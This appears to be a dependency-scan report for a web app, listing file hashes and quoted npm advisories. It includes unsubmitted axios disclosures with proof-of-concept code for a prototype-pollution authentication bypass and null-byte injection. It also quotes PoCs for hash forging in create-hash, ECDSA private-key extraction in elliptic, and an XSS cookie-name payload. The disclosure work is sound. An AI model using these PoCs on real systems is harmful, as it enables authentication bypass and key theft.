The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.
The root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript's `in` operator — an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() => true`, all HTTP status codes are accepted as success.
**Severity:** High (CVSS 8.2)
**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)
**Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js`
## CWE
- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- **CWE-287:** Improper Authentication
## CVSS 3.1
**Score: 8.2 (High)**
Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact within the application |
| Confidentiality | Low | 401 treated as success may expose data behind auth gates |
| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |
| Availability | None | The function works correctly (returns true), no crash |
## Usage of "Helper" Vulnerabilities
This vulnerability requires **Zero Direct User Input**.
If an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties.
## Why `validateStatus` Is Uniquely Vulnerable
All other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator:
```javascript
// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
if (prop in config2) { // ← `in` traverses prototype chain!
return getMergedValue(a, b);
} else if (prop in config1) {
return getMergedValue(undefined, a);
}
}
// mergeConfig.js:94
const mergeMap = {
// ... all others use defaultToConfig2 ...
validateStatus: mergeDirectKeys, // ← ONLY property using this strategy
};
```
The `in` operator is a **more aggressive** prototype traversal than property access. While `config2['validateStatus']` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct.
## Proof of Concept
### 1. The Setup (Simulated Pollution)
```javascript
Object.prototype.validateStatus = () => true;
```
### 2. The Gadget Trigger (Safe Code)
```javascript
// Application checks authentication via HTTP status codes
try {
const response = await axios.get('https://api.internal/admin/users');
// Developer expects: 401 → catch block → redirect to login
// Reality: 401 → treated as success → displays admin data
processAdminData(response.data); // Executes with 401 response body!
} catch (error) {
redirectToLogin(); // NEVER REACHED for 401/403/500
}
```
### 3. The Execution
```javascript
// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true
// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus; // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
resolve(response); // 401, 403, 500 all resolve here!
}
```
### 4. The Impact
```
Before pollution:
HTTP 200 → resolve (success)
HTTP 401 → reject (auth error) → redirectToLogin()
HTTP 403 → reject (forbidden) → showAccessDenied()
HTTP 500 → reject (server error) → showErrorPage()
After pollution:
HTTP 200 → resolve (success)
HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
HTTP 403 → resolve (SUCCESS!) → application thinks user has access
HTTP 500 → resolve (SUCCESS!) → application processes error as data
```
## Verified PoC Output
```
--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500
--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }
```
## Impact Analysis
- **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
- **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
- **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
- **Universal Scope:** Affects every axios instance in the application, including third-party libraries.
## Recommended Fix
Replace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`:
```javascript
// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop)) {
return getMergedValue(a, b);
} else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
return getMergedValue(undefined, a);
}
}
```
## Resources
- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)
- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)
- [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in)
- [Axios GitHub Repository](https://github.com/axios/axios)
## Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | PoC developed and vulnerability confirmed |
| 2026-04-16 | Report revised for accuracy |
| TBD | Report submitted to vendor via GitHub Security Advisory |
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-287 Improper AuthenticationVulnerable Software & Versions (NPM):
# Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
## Summary
The `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent('\x00')` correctly produces the safe sequence `%00`, the charMap entry `'%00': '\x00'` converts it back to a raw null byte.
This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.
**Severity:** Low (CVSS 3.7)
**Affected Versions:** All versions containing this charMap entry
**Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21`
## CWE
- **CWE-626:** Null Byte Interaction Error (Poison Null Byte)
- **CWE-116:** Improper Encoding or Escaping of Output
## CVSS 3.1
**Score: 3.7 (Low)**
Vector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Attacker controls input parameters remotely |
| Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact limited to HTTP request URL |
| Confidentiality | None | No confidentiality impact |
| Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser |
| Availability | None | No availability impact |
## Vulnerable Code
**File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26
```javascript
function encode(str) {
const charMap = {
'!': '%21', // literal → encoded (SAFE direction)
"'": '%27', // literal → encoded (SAFE direction)
'(': '%28', // literal → encoded (SAFE direction)
')': '%29', // literal → encoded (SAFE direction)
'~': '%7E', // literal → encoded (SAFE direction)
'%20': '+', // standard transformation (SAFE)
'%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!)
};
return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
return charMap[match];
});
}
```
### Why the Standard Flow Is NOT Affected
```javascript
// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode; // buildURL's encode
// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode); // external encoder used
// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
// ^^^^^^
// internal encode passed as 2nd arg but only used if
// the external encoder explicitly delegates to it
```
## Proof of Concept
```javascript
import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';
// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString(); // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874 (00 = null byte)
// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)
```
## Verified PoC Output
```
Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true
```
## Impact Analysis
**Primary impact is limited** because the standard axios request flow is not affected. However:
- **Direct API users:** Applications using `AxiosURLSearchParams` directly for custom serialization are affected
- **Custom paramsSerializer:** A `paramsSerializer.encode` that delegates to the internal encoder triggers the bug
- **Code defect signal:** The directional inconsistency in charMap is a clear coding error with no legitimate use case
If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.
## Recommended Fix
Remove the `%00` entry from charMap and update the regex:
```javascript
function encode(str) {
const charMap = {
'!': '%21',
"'": '%27',
'(': '%28',
')': '%29',
'~': '%7E',
'%20': '+',
// REMOVED: '%00': '\x00'
};
return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
// ^^^^ removed |%00
return charMap[match];
});
}
```
## Resources
- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)
- [CWE-116: Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)
- [OWASP: Embedding Null Code](https://owasp.org/www-community/attacks/Embedding_Null_Code)
- [Axios GitHub Repository](https://github.com/axios/axios)
## Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS |
| TBD | Report submitted to vendor via GitHub Security Advisory |
CWE-116 Improper Encoding or Escaping of Output, CWE-626 Null Byte Interaction Error (Poison Null Byte)Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/constants/baseUrl.js
MD5: ca950d3ed8d24ff6b12a90c7b4743bc6
SHA1: 96edb4b2d29b106366aeb779f28a36b11d98ba7a
SHA256:c928320ced23ea86fcb2efc925dcf7ba2edb490652a427a2909063a55cce513e
File Path: /github/workspace/src/redux/reducer/billingInfoReducer.js
MD5: bd514af56360a6316b89467951236f43
SHA1: 700e60a6cbf32e499f31939c9983e1ff605dd261
SHA256:81b1f45b579fea67da01abdea6b5d58b3eb9959e91da4bfc047ca4a61883f972
File Path: /github/workspace/src/redux/services/billingInfoService.js
MD5: 6a1ad92e9e7d21b1b4170e00f100289d
SHA1: 90019ac4b9c2c8acb71d620dcc7504b2a1f3d6de
SHA256:4f3382b73d6d1899cf4411d40b316493a36939b792f8579e2d4ffd6a577a8d5a
File Path: /github/workspace/package-lock.json?bn.js
Referenced In Project/Scope: package-lock.json: transitive
This affects versions of the package bn.js before 4.12.3 and 5.2.3. Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?brace-expansion
Referenced In Project/Scope: package-lock.json: transitive
### Impact
A brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.
The loop in question:
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184
`test()` is one of
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113
The increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.
This affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.
### Patches
Upgrade to versions
- 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
### Workarounds
Sanitize strings passed to `expand()` to ensure a step value of `0` is not used.
CWE-400 Uncontrolled Resource ConsumptionVulnerable Software & Versions (NPM):
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is `a5b98a4f30d7813266b221435e1eaaf25a1b0ac5`. It is recommended to upgrade the affected component.CWE-400 Uncontrolled Resource Consumption
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/broadCastReducer.js
MD5: d2deacfa5b0b068696599e544f5a83a5
SHA1: 6851038e2449d83b262cbb7d1e63be31381a8e81
SHA256:23ab9ea3af132394ce19df11b2bbcd0b694902fd792099dceef5e10238545242
File Path: /github/workspace/src/redux/services/broadCastService.js
MD5: 70df13d18b1fb35d4a2a83d918f5b180
SHA1: a03234c0151a0d7984a3eaeb2df5edc63a2de7c7
SHA256:187788991c589ae8303ef2c37f7c8b8b97e9a7192f07dd98d5c09609f7a88a19
File Path: /github/workspace/src/redux/reducer/callReducer.js
MD5: fc3e7f218f6147c9387f9065e752157c
SHA1: 280286c6de53ef8b727d95f74c2bf493fc73def0
SHA256:9e9fdf0eb85f62262b9509d7c2df1cf7758e29205cc553933cfc7f155b3886ca
File Path: /github/workspace/src/redux/reducer/caseReducer.js
MD5: ab0347b8c330db24c8679cce88e4ad32
SHA1: 580a99d6872bc43f1c232e3e2012ab89191e8990
SHA256:7d0ef617f2642047f22d890342d1983c3803b0c26c5d027f8ad7fc883d94be6b
File Path: /github/workspace/src/redux/services/caseService.js
MD5: 6d98f61db2cef41a29dca4c0e99449d1
SHA1: be39a220b49cf3a8292df67581f84210d1172fa1
SHA256:e47f1fa3fd3d9b90906e666286ff44e50c5f43a3a872d1de8a4c4e62349a36f5
File Path: /github/workspace/package-lock.json?cipher-base
Referenced In Project/Scope: package-lock.json: transitive
### Summary
This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package
Also affects `create-hmac` and other packages
Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.
Missing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
### Details
See PoC
### PoC
```js
const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = createHash('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
```
Output:
```
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe
```
This works with:
```js
const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])
```
But there are other types of input which lead to unchecked results
### Impact
1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`
This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)
4. DoS on `{length:'1e99'}`
5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh))
6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength
CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/cloudReducer.js
MD5: 6f553be627aff482adf67f879bf8167d
SHA1: 2bec9c3e2b4b0abbc78d8f60be43fb204d925b33
SHA256:5f141d9dff47d02a4b2bd34462581eb80d1c62389dec0285820714311399d47d
File Path: /github/workspace/src/redux/services/cloudService.js
MD5: a3dd461de0c76310bc85907f508d88cf
SHA1: 647806191c8ca792d79eaf31e8a7d06ed4dc76dc
SHA256:be4394a56d7329bed13fd296d2ccf1d22043d691e896669720e15796ab2922b3
File Path: /github/workspace/src/constants/commonData.js
MD5: a7f1df93a426edbd8613b4175af03c77
SHA1: 662d33406e01f9c5904d94c2fc081f359859e46f
SHA256:32b3f37b0d6bc2b82dd5218910a2df250886a1ce13eeebd97993ea766a6eadbe
File Path: /github/workspace/src/redux/reducer/commonReducer.js
MD5: e188d13901990ca17b551a8986552ac8
SHA1: 9ff9bc1ce829382b0845507dc199b16b4bd33f16
SHA256:8dbcaf375b93f256bee243531269281c42353be6581082107dc61c5898b0cf01
File Path: /github/workspace/src/app/routes/commonRoutes.js
MD5: 975e884e10f74babada256231761779f
SHA1: 0701304c0e5a070de0c8006f7a0a553483d37cf4
SHA256:4c41a1f382a6c756a24e2a61f748f987d1c7489597ab57aa9328277ee8b6ab2d
File Path: /github/workspace/src/redux/services/commonService.js
MD5: 9e70eb3ba510b1d39bf50a812aabba62
SHA1: f80845202647d40b87ad9b74293c54ccfa431c96
SHA256:16165c744afb3ba25d09e314c74a50a95ac8a200282be42307a70f00b5fc0530
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/communities/add-community-bank-detail-dialog/communityBankDetailCollapse.js
MD5: 0c973b7c7413cf2e9d863c12e84c2cd7
SHA1: 1ea0ac93e56b37ecaa4618cfa6193241565b2534
SHA256:1ecb198ceeb5e5198b050438734f3b863d9e8935216605966d6dceee066c9515
File Path: /github/workspace/src/redux/reducer/communityReducer.js
MD5: 287c539b38f5f720ff5549f1c0dad1d0
SHA1: da8f9e362bf1d17b81c0bde52cc6852592eb4836
SHA256:59c1329e9e7113b99c366d3dc282d2deb425f764773e9737f22339fadcdb5431
File Path: /github/workspace/src/redux/services/communityService.js
MD5: b68d77ef6b412c1f536e7f86cf090569
SHA1: ba632db91d5e85d86e399218b266639ae2dc9548
SHA256:e8ead9e316d1fc221d748552083b58de1623bc39f6814c38374addae1525f762
File Path: /github/workspace/src/redux/reducer/configurePoliciesReducer.js
MD5: 22749e9b4b579b772f146db3ef3b49eb
SHA1: 7c7c8eb29c393172187cb880ce48f759a96838c3
SHA256:36977bed2cb0bee74cbc3714d66546891c628c2e78b541c641487aa8c638ff22
File Path: /github/workspace/src/redux/services/configurePoliciesService.js
MD5: 0a5d2c4b20b3a37525a111e5be6450cc
SHA1: 3d636a8b0ae4268a7ac3f3d941adba7001268487
SHA256:0f071c5617d6b815d577cd364eff9309ec6f2dddb1fa872e862c83a50731e55c
File Path: /github/workspace/src/utils/sidebarUtils/configureSidebarUtils.js
MD5: ad6e69602aaf129187c8a8628ae47f96
SHA1: 5f4bf131e7f1f9cd1de107eb53382a0d0a3113b2
SHA256:43a7da2fab2da773d0cbb0828822cc30ce7843cc05043887b3f0bb6b6efe8b9f
File Path: /github/workspace/package-lock.json?cookie
Referenced In Project/Scope: package-lock.json: transitive
### Impact
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, `serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value)` would result in `"userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test"`, setting `userName` cookie to `<script>` and ignoring `value`.
A similar escape can be used for `path` and `domain`, which could be abused to alter other fields of the cookie.
### Patches
Upgrade to 0.7.0, which updates the validation for `name`, `path`, and `domain`.
### Workarounds
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.
### References
* https://github.com/jshttp/cookie/pull/167
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/communities/create-community/createCommunityTabs.js
MD5: 56dbceb087207bd49c4b7409a7b081f9
SHA1: e4410e0e51b663ff16927b81deb8a839c887893a
SHA256:3c7dd3140dd6a4f6950f9066f40f75b638576966468f6125fc48fecebc93cef5
File Path: /github/workspace/src/components/common/create-signature-dialog/createSignatureTabs.js
MD5: 06a5563f39777ab53a0f6794bdd45b0e
SHA1: d6fc0d528e43e216818f4479fb5dd6995a16ac49
SHA256:79d474ef3d3cacfeb1fb9b1be49255278eb07a07b41a255276ef7bfcb914815d
File Path: /github/workspace/package-lock.json?cross-spawn
Referenced In Project/Scope: package-lock.json: transitive
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?d3-color
Referenced In Project/Scope: package-lock.json: transitive
The d3-color module provides representations for various color spaces in the browser. Versions prior to 3.1.0 are vulnerable to a Regular expression Denial of Service. This issue has been patched in version 3.1.0. There are no known workarounds.CWE-400 Uncontrolled Resource Consumption
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/dashboardReducer.js
MD5: b838e1e61a0935653701c4d72fd924dc
SHA1: c6910d28e98ff574a42966ade02f79df73cb09bf
SHA256:bde847d0511100bcbc028575f157fb7719984aa37bda9dc5e1869cd6710a57c2
File Path: /github/workspace/src/redux/services/dashboardService.js
MD5: 923be749d69fe787b95be399d57ce672
SHA1: d6f26f0bbc565e66d81e34b24bf229b041b7721f
SHA256:2439bef014ff305975ef854e2f203e76c7f192db442084e9d0ff60ca754135dc
File Path: /github/workspace/src/components/pages/features/dashboard/dashboardTabs.js
MD5: 769bce08c0e7267dd20f154fe71345c7
SHA1: c9a3cb8486aa9fbb8d9bc1cd2a8e7f633397bb7b
SHA256:54742ef86e8274360d9c824ff2f17f30d314b39c905e156d63b822075d1b08a3
File Path: /github/workspace/src/components/pages/features/synapp-admin/financial-reports/data.js
MD5: 9d22b3718e96b270d2125e83f092132c
SHA1: e2ac5c31ecaf33a577a532e58018ab96640da2b4
SHA256:06c473214f6e5b77a1cd5311b4b6b33843e80d1f15d0a63333020ed48ddcbfdc
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/profession/data.js
MD5: 8a0af67250c11b03f5de355afa0ad21c
SHA1: eca4a033f6c6b05d5c6d3c8add6abedd4208a43e
SHA256:40eb421f2ec13190797fb033272b6ec00698e49b95afa0d5744d0365da4e15b4
File Path: /github/workspace/src/components/pages/landing/pricing/pricing-plans/data.js
MD5: 462e194af0a3dd1f63193c718a1701eb
SHA1: 7ea8706596df713055ca3ba4287530e4ba129e22
SHA256:b8b017643ad3af002fcfd1ac65b7fd7675b2e638192900ddaeb8999fb4439633
File Path: /github/workspace/public/dwv/decoders/pdfjs/decode-jpeg2000.js
MD5: 71e39bd160555e0cec42570b2a278beb
SHA1: fd18b896b0eee97cacb93d5d9413e5416db17d6d
SHA256:fa1a0b64dba6fe6dcab95c92758371cb88874f9d99d8e12f97264d5c466ab5af
File Path: /github/workspace/public/dwv/decoders/pdfjs/decode-jpegbaseline.js
MD5: 5e41eaf5978404d2bf6921556a79c8a3
SHA1: 55ace940ae9bfa1a6650d9f2dc1dddb61c531f6e
SHA256:5ec9865573fb565688015ed465d115e6e090ebef81bd2c433029c6693196b2bf
File Path: /github/workspace/public/dwv/decoders/rii-mango/decode-jpegloss.js
MD5: 8d8ff5f2828e50b67c08bf781ef43cd6
SHA1: 38b4a38fb6c6c16dd964cac7ae1efd04185159e4
SHA256:295700a80d13f18c77e6be62f50f12feaf87fdba3c2c249009dc72c5fb1176c3
File Path: /github/workspace/public/dwv/decoders/dwv/decode-rle.js
MD5: af4ed01d903ad70712ea1e869dccc55e
SHA1: a2eef70023f54ca4a85f36abb51c31746bec9189
SHA256:eef5a8a077bc3f64fa782f547c49da1bd4335c0058c06db0fcefb93ee7684e2e
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/medical-settings/diagnosis/diagnosisCollapse.js
MD5: f5f4e3798693c93b9abff8b733548b69
SHA1: a1b0cd8976aca72aef80e82093b32a148cd92822
SHA256:49409936a8af99cd498d7431002dbc8de6f7c81febc7f9b3ab8b6ac468232795
File Path: /github/workspace/src/components/common/cloud/Modals/PreviewModal/dicomZoomConstants.js
MD5: bf94d00ec9c275bfd1de26951ccfc7bd
SHA1: 5ca9edc5a24ad0692ab00109e8a718514bb7ebf9
SHA256:df94fa2c754a08865469540c393b24bf84e1440c875af18779f8722d63beaa90
File Path: /github/workspace/src/redux/reducer/directoryReducer.js
MD5: d78196d38b4441df8aa98d2bdb48ac32
SHA1: 322a956f5d96158361ca818bfba4fecdc23932c5
SHA256:3826fe25424ba1b903757432f1552dc4ff30bd58d2ac0e6105dbb735ca3e36db
File Path: /github/workspace/src/redux/services/directoryService.js
MD5: 4d30b5ff3a3d5e31b38fb7d73496db04
SHA1: e43802cebb891d3fb3ab1b4b709a940afea1be82
SHA256:938b8e6953eeb06866891fef98980fa4ea5d2109ba6529d626603e2f0f850055
File Path: /github/workspace/src/components/pages/features/directory/directoryTabs.js
MD5: 72ab9f72fa1ba62bae12a71b368e947d
SHA1: 9772c966e456eeaf36ef37e65f9b7140901ac0c8
SHA256:5627426bb2d0200882e18a2acd94e922527b4a46c436fc18f76c30bd4157150b
File Path: /github/workspace/src/utils/driveQuotaUtils.js
MD5: 7f997afbe872eb34b359a612d08c8b73
SHA1: eacca52fe975e7b27a2788c5e79716ce5f9250b9
SHA256:969f27f3309217a957f81e3a5d44b6d99e7965d1c1a848fe3d529580394b1cdb
File Path: /github/workspace/package-lock.json?elliptic
Referenced In Project/Scope: package-lock.json: transitive
### Summary
Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input
Note that `elliptic` by design accepts hex strings as one of the possible input types
### Details
In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107
`msg` is a BN instance after conversion, but `nonce` is an array, and different BN instances could generate equivalent arrays after conversion.
Meaning that a same `nonce` could be generated for different messages used in signing process, leading to `k` reuse, leading to private key extraction from a pair of signatures
Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction
While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still _should not_ leak the private key
Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain
### PoC
#### `k` reuse example
```js
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })
```
#### Full attack
This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)
```js
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)
// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)
// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)
const something = extract(msg0, sig0, sig1, curve)
console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)
```
Output:
```console
Curve: secp256k1
Typeof: string
Keys equal? true
